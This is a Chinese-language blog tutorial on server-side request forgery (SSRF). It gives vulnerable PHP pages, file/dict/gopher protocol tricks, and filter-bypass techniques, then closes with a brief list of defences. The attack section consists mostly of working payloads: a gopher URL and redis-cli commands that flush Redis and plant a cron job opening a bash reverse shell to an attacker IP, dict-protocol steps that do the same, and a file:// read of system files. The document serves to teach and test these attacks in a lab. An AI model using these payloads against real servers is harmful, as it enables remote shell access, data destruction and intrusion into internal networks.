ssrf實戰(zhàn)
一、ssrf原理
- 服務器端請求偽造(SSRF)是指攻擊者能夠從易受攻擊的Web應用程序發(fā)送精心設計的請求的對其他網(wǎng)站進行攻擊。(利用一個可發(fā)起網(wǎng)絡請求的服務當作跳板來攻擊其他服務)
- 攻擊者能夠利用目標幫助攻擊者訪問其他想要攻擊的目標
- 攻擊者要求服務器為他訪問URL

二、漏洞利用
1.創(chuàng)建一個包含ssrf的頁面
將下面的代碼文件放到網(wǎng)站根目錄,然后命名為ssrf.php
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
構(gòu)造payload為ssrf.php?url=www.baidu.com
可以看到跳轉(zhuǎn)到百度頁面

2.造成ssrf的函數(shù)
a、file_get_contents()
這一函數(shù)是把 **傳入的參數(shù)(變量)**寫入字符串,當把 傳參是內(nèi)網(wǎng)文件的時候,會先去吧這個文件的內(nèi)容讀出來再寫入,導致了任意文件讀取,也就是信息泄露的一種。一般這種攻擊也與目錄遍歷相結(jié)合。
<?php $url = $_GET['url'];; echo file_get_contents($url); ?>
構(gòu)造如下payload:
http://10.101.32.228/ssrf.php?url=file://c:\windows\system32\drivers\etc\hosts

b、fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打開一個網(wǎng)絡連接或者一個 Unix 套接字連接,初始化一個套接字連接到指定主機(hostname),實現(xiàn)對用戶指定 url 數(shù)據(jù)的獲取。該函數(shù)會使用 socket 跟服務器建立 tcp 連接,進行傳輸原始數(shù)據(jù)。 fsockopen() 將返回一個文件句柄,之后可以被其他文件類函數(shù)調(diào)用(例如:fgets(),fgetss(),fwrite(),fclose()還有feof())如果調(diào)用失敗,將返回false。
測試代碼:
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

c、curl_exec()
curl_init(url) 函數(shù)初始化一個新的會話,返回一個 cURL 句柄,供curl_setopt(),curl_exec()和curl_close()函數(shù)使用。
測試代碼:
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 創(chuàng)建新的 cURL 資源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 設置 URL 和相應的選項
$result=curl_exec($curlobj); // 抓取 URL 并把它傳遞給瀏覽器
curl_close($curlobj); // 關閉 cURL 資源,并且釋放系統(tǒng)資源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
3.相關的協(xié)議
a、file協(xié)議
paylaod:
file:///etc/password # file:// 之后可以接任意文件
b、dict協(xié)議
利用dict協(xié)議,dict://ip/info可獲取本地redis服務配置信息。
c、gopher 協(xié)議
協(xié)議格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP數(shù)據(jù)流
- gopher的默認端口是70
- 如果發(fā)起post請求,回車換行需要使用%0d%0a,如果多個參數(shù),參數(shù)之間的&也需要進行URL編碼
使用gopher發(fā)送HTTP數(shù)據(jù)包:
- 構(gòu)造HTTP數(shù)據(jù)包
- URL編碼、替換回車換行為%0d%0a
- 發(fā)送gopher協(xié)議
- 如果發(fā)送post請求的話有四個參數(shù)是必須的
三、攻擊內(nèi)網(wǎng)
1.掃描端口

用burp抓包,然后對端口進行爆破,



2.利用gopher攻擊redis
通過【curl命令】和【gopher協(xié)議】偽造post請求
假設一個存在ssrf的頁面
<html>
<head>
<title>post</title>
</head>
<body>
<?php
echo $_REQUEST[cmd];
?>
</body>
</html>
post請求有四個必要參數(shù):
POST /ssrf.php HTTP1.1 Host: 10.101.32.228 User-Agent:curl/7.61.1 Content-Length:7 Content-Type:application/x-www-form-urlencoded cmd=aaa
利用gopher和curl發(fā)送數(shù)據(jù):通過SSRF漏洞同樣可以利用gopher協(xié)議對內(nèi)網(wǎng)系統(tǒng)進行POST請求,不過首先需要查看下【phpinfo】,確認curl是enabled,并且需要確認下當前的curl版本是否支持gopher協(xié)議。
curl -v 'gopher://10.101.32.228:80/_POST%20%2fssrf.php%20HTTP/1.1%0D%0AHost:%2010.101.32.228%0D%0AUser-Agent:%20curl/7.61.1%0D%0AContent-Length:7%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Acmd=aaa'
查看服務器日志發(fā)現(xiàn)確實有post請求

示例環(huán)境:
既然利用curl+gopher可以偽造數(shù)據(jù)包,那么就可以把存在ssrf的web服務器當作一個跳板去訪問內(nèi)網(wǎng),
首先RESP協(xié)議:redis服務器和客戶端通訊的協(xié)議
格式:
*3 #表示有三個命令 $3 #表示這個命令有幾個字符 set $3 ttt $69 */1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1
常用攻擊redis命令:
redis-cli -h $1 flushall echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1 redis-cli -h $1 config set dir /var/spool/cron/ redis-cli -h $1 config set dbfilename root redis-cli -h $1 save //redis-cli查看所有的keys及清空所有的數(shù)據(jù)
將上面的命令轉(zhuǎn)化成為resp協(xié)議的格式,然后進行兩次編碼(因為后面解析gopher要兩次解碼),之后用gopher協(xié)議去攻擊
所以可以構(gòu)造如下的url:
http://192.168.43.123/ssrf.php?url=gopher://192.168.43.129:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.43.132/3333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0
然后在攻擊方開啟監(jiān)聽: nv -lvp 3333
或者可以使用dict協(xié)議反彈shell
dict://x.x.x.x:6379/<Redis 命令>
# 清空 key dict://192.168.43.129:6379/flushall # 設置要操作的路徑為定時任務目錄 dict://192.168.43.129:6379/config set dir /var/spool/cron/ # 在定時任務目錄下創(chuàng)建 root 的定時任務文件 dict://192.168.43.129:6379/config set dbfilename root # 寫入 Bash 反彈 shell 的 payload dict://192.168.43.129:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n" # 保存上述操作 dict://192.168.43.129:6379/save
四、繞過與防御
1.繞過
1、訪問http://baidu.com@127.0.0.1和http://127.0.0.1一樣 2、進制繞過 字符串: 10.0.0.3 二進制: 00001010 . 00000000 . 00000000 . 00000011 十六進制: 0A.00.00.03 整數(shù): 167772163 3、句號繞過:127。0。0。1 4、xip.io繞過 10.0.0.1.xip.io # 解析到 10.0.0.1 www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4 10.0.0.1.xip.name # 解析到 10.0.0.1 5、利用[::]繞過localhost
2.防御
- 禁止302跳轉(zhuǎn),或者每跳轉(zhuǎn)一次都進行校驗目的地址是否為內(nèi)網(wǎng)地址或合法地址。
- 過濾返回信息,驗證遠程服務器對請求的返回結(jié)果,是否合法。
- 禁用高危協(xié)議,例如:gopher、dict、ftp、file等,只允許http/https
- 設置URL白名單或者限制內(nèi)網(wǎng)IP
- 限制請求的端口為http的常用端口,或者根據(jù)業(yè)務需要治開放遠程調(diào)用服務的端口
- catch錯誤信息,做統(tǒng)一錯誤信息,避免黑客通過錯誤信息判斷端口對應的服務

浙公網(wǎng)安備 33010602011771號